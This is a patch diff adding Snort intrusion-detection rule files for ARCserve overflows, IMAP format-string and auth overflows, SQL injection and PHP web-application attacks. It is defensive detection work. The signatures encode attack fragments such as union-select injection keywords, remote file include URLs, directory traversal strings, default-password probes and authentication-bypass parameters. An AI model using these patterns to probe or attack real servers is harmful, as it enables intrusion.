+# alert tcp $EXTERNAL_NET any -> $HOME_NET 41523 (msg:"EXPLOIT ARCserve backup TCP product info msg 0x9c client name overflow"; flow:to_server,established; content:"|9C|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3479; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve discovery service overflow"; dsize:>966; reference:bugtraq,12491; reference:can,2005-0260; classtype:attempted-admin; sid:3472; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP product info msg 0x9c client name overflow"; content:"|9C|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3484; rev:2;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 41523 (msg:"EXPLOIT ARCserve backup TCP product info msg 0x9b client domain overflow"; flow:to_server,established; content:"|9B|"; depth:1; isdataat:40; content:!"|00|"; depth:16; offset:24; reference:bugtraq,12563; classtype:attempted-admin; sid:3476; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP slot info msg client domain overflow"; content:"|98|"; depth:1; isdataat:41; content:!"|00|"; depth:16; offset:25; reference:bugtraq,12563; classtype:attempted-admin; sid:3481; rev:3;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP product info msg 0x9b client domain overflow"; content:"|9B|"; depth:1; isdataat:41; content:!"|00|"; depth:16; offset:25; reference:bugtraq,12563; classtype:attempted-admin; sid:3483; rev:3;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 41523 (msg:"EXPLOIT ARCserve backup TCP product info msg 0x9b client name overflow"; flow:to_server,established; content:"|9B|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3477; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP slot info msg client name overflow"; content:"|98|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3480; rev:2;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 41523 (msg:"EXPLOIT ARCserve backup TCP slot info msg client name overflow"; flow:to_server,established; content:"|98|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3474; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP product info msg 0x9b client name overflow"; content:"|9B|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3482; rev:2;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 41523 (msg:"EXPLOIT ARCserve backup TCP product info msg 0x9c client domain overflow"; flow:to_server,established; content:"|9C|"; depth:1; isdataat:40; content:!"|00|"; depth:16; offset:24; reference:bugtraq,12563; classtype:attempted-admin; sid:3478; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP msg 0x99 client domain overflow"; content:"|99|"; depth:1; isdataat:41; content:!"|00|"; depth:16; offset:25; reference:bugtraq,12563; classtype:attempted-admin; sid:3531; rev:2;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 41524 (msg:"EXPLOIT ARCserve backup UDP msg 0x99 client name overflow"; content:"|99|"; depth:1; isdataat:17; content:!"|00|"; depth:16; offset:1; reference:bugtraq,12563; classtype:attempted-admin; sid:3530; rev:2;)
--- snort-2.8.5.2.orig/rules/community-imap.rules
+++ snort-2.8.5.2/rules/community-imap.rules
@@ -0,0 +1,15 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-imap.rules,v 1.7 2006/04/07 13:34:06 akirk Exp $
+
+alert tcp $EXTERNAL_NET any  -> $HOME_NET 143 (msg:"COMMUNITY IMAP GNU Mailutils request tag format string vulnerability"; flow:to_server,established; content:"|25|"; pcre:"/^\S*\x25\S*\s/sm"; reference:cve,CAN-2005-1523; reference:bugtraq,13764; classtype:attempted-admin; sid:100000135; rev:1;)
+#Rule submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"COMMUNITY IMAP GNU imapd search format string attempt"; flow:established,to_server; pcre:"/\sSEARCH.*\%/smi"; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19306; reference:cve,2005-2878; classtype:misc-attack; sid:100000136; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"COMMUNITY IMAP MDaemon authentication protocol decode"; flow:to_server,established; content:"AUTHENTICATE"; nocase; pcre:"/\sAUTHENTICATE\s[CRAM-MD5|LOGIN]/smi"; flowbits:set,community_imap.auth; flowbits:noalert; classtype:protocol-command-decode; sid:100000152; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"COMMUNITY IMAP MDaemon authentication multiple packet overflow attempt"; flow:to_server,established; flowbits:isset,community_imap.auth; isdataat:342; pcre:"/[^\x0A]{342,}/"; reference:bugtraq,14317; classtype:attempted-admin; sid:100000153; rev:3;)
+alert tcp $HOME_NET 143 -> $EXTERNAL_NET any (msg:"COMMUNITY IMAP MDaemon authentication okay protocol decode"; flow:to_client,established; content:"AUTHENTICATE"; nocase; pcre:"/\sOK\sAUTHENTICATE/smi"; flowbits:unset,community_imap.auth; flowbits:noalert; classtype:protocol-command-decode; sid:100000154; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"COMMUNITY IMAP MDaemon authentication overflow single packet attempt"; flow:to_server,established; content:"AUTHENTICATE"; nocase; pcre:"/\sAUTHENTICATE\s[CRAM-MD5|LOGIN][^\n]*\n[^\n]{342}/smi"; reference:bugtraq,14317; classtype:attempted-admin; sid:100000155; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"COMMUNITY IMAP Qualcomm WorldMail SELECT dot dot attempt"; flow:established,to_server; content:"SELECT"; content:"|2E 2E|"; nocase; pcre:"/^\d*\s*SELECT\s*\.\./smi"; reference:cve,2005-3189; reference:bugtraq,15488; classtype:misc-attack; sid:100000196; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"COMMUNITY IMAP GNU Mailutils imap4d hex attempt"; flow:established,to_server; content:"SEARCH TOPIC %"; reference:cve,2005-2878; reference:bugtraq,14794; reference:nessus,19605; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19306; classtype:misc-attack; sid:100000207; rev:2;)
--- snort-2.8.5.2.orig/rules/community-sql-injection.rules
+++ snort-2.8.5.2/rules/community-sql-injection.rules
@@ -0,0 +1,15 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-sql-injection.rules,v 1.10 2006/10/19 20:19:34 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 rawdocdata.asp"; flow:to_server,established; uricontent:"/rawdocdata.asp?"; nocase; pcre:"/rawdocdata.asp\x3F[^\r\n]*exec/Ui"; classtype:web-application-attack; reference:bugtraq,7470; reference:cve,2003-0118; reference:url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx; sid:100000106; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 RawCustomSearchField.asp"; flow:to_server,established; uricontent:"/rawdocdata.asp?"; nocase; pcre:"/RawCustomSearchField.asp\x3F[^\r\n]*exec/Ui"; classtype:web-application-attack; reference:bugtraq,7470; reference:cve,2003-0118; reference:url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx; sid:100000107; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION OpenBB board.php"; flow:to_server,established; uricontent:"/board.php"; pcre:"/board.php\x3F\w+\x3D[0-9]+\s/Ui"; classtype:web-application-attack; reference:bugtraq,7404; sid:100000108; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION OpenBB member.php"; flow:to_server,established; uricontent:"/member.php"; pcre:"/member.php\x3F\w+\x3D[0-9]+\s/Ui"; classtype:web-application-attack; reference:bugtraq,7404; sid:100000109; rev:1;)
+#Rules submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION WIZZ ForumTopicDetails Sql Injection attempt"; flow:to_server,established; uricontent:"/ForumTopicDetails.php"; nocase; uricontent:"TopicID|3D|"; nocase; uricontent:"union"; nocase; uricontent:"select"; nocase; uricontent:"from"; nocase; uricontent:"ForumUser"; nocase; uricontent:"where"; nocase; reference:bugtraq,15410; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=20846; classtype:web-application-attack; sid:100000192; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION WIZZ ForumAuthDetails Sql Injection attempt"; flow:to_server,established; uricontent:"/ForumAuthDetails.php"; nocase; uricontent:"AuthID|3D|"; nocase; uricontent:"union"; nocase; uricontent:"select"; nocase; uricontent:"from"; nocase; uricontent:"ForumUser"; nocase; uricontent:"where"; nocase; reference:bugtraq,15410; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=20845; classtype:web-application-attack; sid:100000193; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION WIZZ ForumReply Sql Injection attempt"; flow:to_server,established;  uricontent:"/ForumReply.php"; nocase; uricontent:"TopicID|3D|"; nocase; uricontent:"union"; nocase; uricontent:"select"; nocase; uricontent:"from"; nocase; uricontent:"ForumUser"; nocase; uricontent:"where"; nocase; reference:bugtraq,15410; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=20847; classtype:web-application-attack; sid:100000194; rev:2;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION BXCP Sql Injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"where="; nocase; uricontent:"union"; nocase; uricontent:"select"; nocase; pcre:"/\x2b\w*\x54\w*/"; reference:bugtraq,18765; reference:url,www.milw0rm.com/exploits/1975; classtype:web-application-attack; sid:100000690; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY SQL-INJECTION Diesel Joke Script Sql Injection attempt"; flow:to_server,established; uricontent:"/category.php"; nocase; uricontent:"id="; uricontent:"union"; nocase; uricontent:"select"; nocase; uricontent:"admin"; nocase; reference:bugtraq,18760; classtype:web-application-attack; sid:100000691; rev:2;)
--- snort-2.8.5.2.orig/rules/web-php.rules
+++ snort-2.8.5.2/rules/web-php.rules
@@ -0,0 +1,162 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-php.rules,v 1.21.2.2.2.2 2005/07/22 19:19:54 mwatchinski Exp $
+#--------------
+# WEB-PHP RULES
+#--------------
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP bb_smilies.php access"; flow:to_server,established; uricontent:"/bb_smilies.php"; nocase; reference:url,www.securiteam.com/securitynews/Serious_security_hole_in_PHP-Nuke__bb_smilies_.html; classtype:web-application-activity; sid:1774; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP content-disposition memchr overflow"; flow:to_server,established; content:"Content-Disposition|3A|"; nocase; content:"name=|22 CC CC CC CC CC|"; reference:bugtraq,4183; reference:cve,2002-0081; reference:nessus,10867; classtype:web-application-attack; sid:1423; rev:14;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP content-disposition"; flow:to_server,established; content:"Content-Disposition|3A|"; nocase; content:"form-data|3B|"; reference:bugtraq,4183; reference:cve,2002-0081; reference:nessus,10867; classtype:web-application-attack; sid:1425; rev:13;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP squirrel mail spell-check arbitrary command attempt"; flow:to_server,established; uricontent:"/squirrelspell/modules/check_me.mod.php"; nocase; content:"SQSPELL_APP["; nocase; reference:bugtraq,3952; classtype:web-application-attack; sid:1736; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP squirrel mail theme arbitrary command attempt"; flow:to_server,established; uricontent:"/left_main.php"; nocase; content:"cmdd="; reference:bugtraq,4385; reference:cve,2002-0516; classtype:web-application-attack; sid:1737; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP DNSTools administrator authentication bypass attempt"; flow:to_server,established; uricontent:"/dnstools.php"; nocase; content:"user_logged_in=true"; nocase; content:"user_dnstools_administrator=true"; nocase; reference:bugtraq,4617; reference:cve,2002-0613; classtype:web-application-attack; sid:1739; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP DNSTools authentication bypass attempt"; flow:to_server,established; uricontent:"/dnstools.php"; nocase; content:"user_logged_in=true"; reference:bugtraq,4617; reference:cve,2002-0613; classtype:web-application-attack; sid:1740; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP DNSTools access"; flow:to_server,established; uricontent:"/dnstools.php"; nocase; reference:bugtraq,4617; reference:cve,2002-0613; classtype:web-application-activity; sid:1741; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Blahz-DNS dostuff.php modify user attempt"; flow:to_server,established; uricontent:"/dostuff.php?action=modify_user"; nocase; reference:bugtraq,4618; reference:cve,2002-0599; classtype:web-application-attack; sid:1742; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Blahz-DNS dostuff.php access"; flow:to_server,established; uricontent:"/dostuff.php"; nocase; reference:bugtraq,4618; reference:cve,2002-0599; classtype:web-application-activity; sid:1743; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Messagerie supp_membre.php access"; flow:to_server,established; uricontent:"/supp_membre.php"; nocase; reference:bugtraq,4635; classtype:web-application-activity; sid:1745; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP php.exe access"; flow:to_server,established; uricontent:"/php.exe"; nocase; reference:url,www.securitytracker.com/alerts/2002/Jan/1003104.html; classtype:web-application-activity; sid:1773; rev:3;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP directory.php arbitrary command attempt"; flow:to_server,established; uricontent:"/directory.php"; content:"dir="; content:"|3B|"; reference:bugtraq,4278; reference:cve,2002-0434; classtype:misc-attack; sid:1815; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP directory.php access"; flow:to_server,established; uricontent:"/directory.php"; reference:bugtraq,4278; reference:cve,2002-0434; classtype:misc-attack; sid:1816; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PHP-Wiki cross site scripting attempt"; flow:established,to_server; uricontent:"/modules.php?"; uricontent:"name=Wiki"; nocase; uricontent:"<script"; nocase; reference:bugtraq,5254; reference:cve,2002-1070; classtype:web-application-attack; sid:1834; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP phpbb quick-reply.php arbitrary command attempt"; flow:established,to_server; uricontent:"/quick-reply.php"; content:"phpbb_root_path="; distance:1; reference:bugtraq,6173; classtype:web-application-attack; sid:1967; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP phpbb quick-reply.php access"; flow:established,to_server; uricontent:"/quick-reply.php"; reference:bugtraq,6173; classtype:web-application-activity; sid:1968; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP read_body.php access attempt"; flow:established,to_server; uricontent:"/read_body.php"; reference:bugtraq,6302; reference:cve,2002-1341; classtype:web-application-activity; sid:1997; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP calendar.php access"; flow:established,to_server; uricontent:"/calendar.php"; reference:bugtraq,5820; reference:bugtraq,9353; reference:nessus,11179; classtype:web-application-activity; sid:1998; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP edit_image.php access"; flow:established,to_server; uricontent:"/edit_image.php"; reference:bugtraq,3288; reference:cve,2001-1020; reference:nessus,11104; classtype:web-application-activity; sid:1999; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP readmsg.php access"; flow:established,to_server; uricontent:"/readmsg.php"; reference:cve,2001-1408; reference:nessus,11073; classtype:web-application-activity; sid:2000; rev:3;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP remote include path"; flow:established,to_server; uricontent:".php"; content:"path="; pcre:"/path=(http|https|ftp)/i"; classtype:web-application-attack; sid:2002; rev:5;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum admin access"; flow:to_server,established; uricontent:"/admin.php3"; nocase; reference:arachnids,205; reference:bugtraq,2271; classtype:attempted-recon; sid:1134; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP piranha passwd.php3 access"; flow:to_server,established; uricontent:"/passwd.php3"; reference:arachnids,272; reference:bugtraq,1149; reference:cve,2000-0322; classtype:attempted-recon; sid:1161; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum read access"; flow:to_server,established; uricontent:"/read.php3"; nocase; reference:arachnids,208; classtype:attempted-recon; sid:1178; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum violation access"; flow:to_server,established; uricontent:"/violation.php3"; nocase; reference:arachnids,209; reference:bugtraq,2272; classtype:attempted-recon; sid:1179; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum code access"; flow:to_server,established; uricontent:"/code.php3"; nocase; reference:arachnids,207; classtype:attempted-recon; sid:1197; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP admin.php file upload attempt"; flow:to_server,established; uricontent:"/admin.php"; nocase; content:"file_name="; reference:bugtraq,3361; reference:cve,2001-1032; classtype:attempted-admin; sid:1300; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP admin.php access"; flow:to_server,established; uricontent:"/admin.php"; nocase; reference:bugtraq,3361; reference:bugtraq,7532; reference:bugtraq,9270; reference:cve,2001-1032; classtype:attempted-recon; sid:1301; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP smssend.php access"; flow:to_server,established; uricontent:"/smssend.php"; reference:bugtraq,3982; reference:cve,2002-0220; classtype:web-application-activity; sid:1407; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PHP-Nuke remote file include attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; content:"file="; pcre:"/file=(http|https|ftp)/i"; reference:bugtraq,3889; reference:cve,2002-0206; classtype:web-application-attack; sid:1399; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum /support/common.php attempt"; flow:to_server,established; uricontent:"/support/common.php"; content:"ForumLang=../"; reference:bugtraq,1997; classtype:web-application-attack; sid:1490; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum /support/common.php access"; flow:to_server,established; uricontent:"/support/common.php"; reference:bugtraq,1997; reference:bugtraq,9361; classtype:web-application-attack; sid:1491; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Phorum authentication access"; flow:to_server,established; content:"PHP_AUTH_USER=boogieman"; nocase; reference:arachnids,206; reference:bugtraq,2274; classtype:attempted-recon; sid:1137; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP strings overflow"; flow:to_server,established; content:"|BA|I|FE FF FF F7 D2 B9 BF FF FF FF F7 D1|"; reference:arachnids,431; reference:bugtraq,802; classtype:web-application-attack; sid:1085; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP strings overflow"; flow:to_server,established; uricontent:"?STRENGUR"; reference:arachnids,430; reference:bugtraq,1786; reference:cve,2000-0967; classtype:web-application-attack; sid:1086; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP PHPLIB remote command attempt"; flow:to_server,established; content:"_PHPLIB[libdir]"; reference:bugtraq,3079; reference:cve,2001-1370; classtype:attempted-user; sid:1254; rev:8;)
+alert tcp $HTTP_SERVERS any -> $EXTERNAL_NET $HTTP_PORTS (msg:"WEB-PHP PHPLIB remote command attempt"; flow:to_server,established; uricontent:"/db_mysql.inc"; reference:bugtraq,3079; reference:cve,2001-1370; classtype:attempted-user; sid:1255; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Mambo uploadimage.php upload php file attempt"; flow:to_server,established; uricontent:"/uploadimage.php"; content:"userfile_name="; content:".php"; distance:1; reference:bugtraq,6572; classtype:web-application-attack; sid:2074; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Mambo upload.php upload php file attempt"; flow:to_server,established; uricontent:"/upload.php"; content:"userfile_name="; content:".php"; distance:1; reference:bugtraq,6572; classtype:web-application-attack; sid:2075; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Mambo uploadimage.php access"; flow:to_server,established; uricontent:"/uploadimage.php"; reference:bugtraq,6572; classtype:web-application-activity; sid:2076; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Mambo upload.php access"; flow:to_server,established; uricontent:"/upload.php"; reference:bugtraq,6572; classtype:web-application-activity; sid:2077; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP phpBB privmsg.php access"; flow:to_server,established; uricontent:"/privmsg.php"; reference:bugtraq,6634; classtype:web-application-activity; sid:2078; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP p-news.php access"; flow:to_server,established; uricontent:"/p-news.php"; reference:nessus,11669; classtype:web-application-activity; sid:2140; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP shoutbox.php directory traversal attempt"; flow:to_server,established; uricontent:"/shoutbox.php"; content:"conf="; content:"../"; distance:0; reference:nessus,11668; classtype:web-application-attack; sid:2141; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP shoutbox.php access"; flow:to_server,established; uricontent:"/shoutbox.php"; reference:nessus,11668; classtype:web-application-activity; sid:2142; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP b2 cafelog gm-2-b2.php remote file include attempt"; flow:to_server,established; uricontent:"/gm-2-b2.php"; content:"b2inc="; pcre:"/b2inc=(http|https|ftp)/i"; reference:nessus,11667; classtype:web-application-attack; sid:2143; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP b2 cafelog gm-2-b2.php access"; flow:to_server,established; uricontent:"/gm-2-b2.php"; reference:nessus,11667; classtype:web-application-activity; sid:2144; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP TextPortal admin.php default password admin attempt"; flow:to_server,established; uricontent:"/admin.php"; content:"op=admin_enter"; content:"password=admin"; reference:bugtraq,7673; reference:nessus,11660; classtype:web-application-activity; sid:2145; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP TextPortal admin.php default password 12345 attempt"; flow:to_server,established; uricontent:"/admin.php"; content:"op=admin_enter"; content:"password=12345"; reference:bugtraq,7673; reference:nessus,11660; classtype:web-application-activity; sid:2146; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP BLNews objects.inc.php4 remote file include attempt"; flow:to_server,established; uricontent:"/objects.inc.php4"; content:"Server[path]="; pcre:"/Server\x5bpath\x5d=(http|https|ftp)/"; reference:bugtraq,7677; reference:cve,2003-0394; reference:nessus,11647; classtype:web-application-attack; sid:2147; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP BLNews objects.inc.php4 access"; flow:to_server,established; uricontent:"/objects.inc.php4"; reference:bugtraq,7677; reference:cve,2003-0394; reference:nessus,11647; classtype:web-application-activity; sid:2148; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Turba status.php access"; flow:to_server,established; uricontent:"/turba/status.php"; reference:nessus,11646; classtype:web-application-activity; sid:2149; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP ttCMS header.php remote file include attempt"; flow:to_server,established; uricontent:"/admin/templates/header.php"; content:"admin_root="; pcre:"/admin_root=(http|https|ftp)/"; reference:bugtraq,7542; reference:bugtraq,7543; reference:bugtraq,7625; reference:nessus,11636; classtype:web-application-attack; sid:2150; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP ttCMS header.php access"; flow:to_server,established; uricontent:"/admin/templates/header.php"; reference:bugtraq,7542; reference:bugtraq,7543; reference:bugtraq,7625; reference:nessus,11636; classtype:web-application-activity; sid:2151; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP test.php access"; flow:to_server,established; uricontent:"/test.php"; reference:nessus,11617; classtype:web-application-activity; sid:2152; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP autohtml.php directory traversal attempt"; flow:to_server,established; uricontent:"/autohtml.php"; content:"name="; content:"../../"; distance:0; reference:nessus,11630; classtype:web-application-attack; sid:2153; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP autohtml.php access"; flow:to_server,established; uricontent:"/autohtml.php"; reference:nessus,11630; classtype:web-application-activity; sid:2154; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP ttforum remote file include attempt"; flow:to_server,established; uricontent:"forum/index.php"; content:"template="; pcre:"/template=(http|https|ftp)/i"; reference:bugtraq,7542; reference:bugtraq,7543; reference:nessus,11615; classtype:web-application-attack; sid:2155; rev:5;)
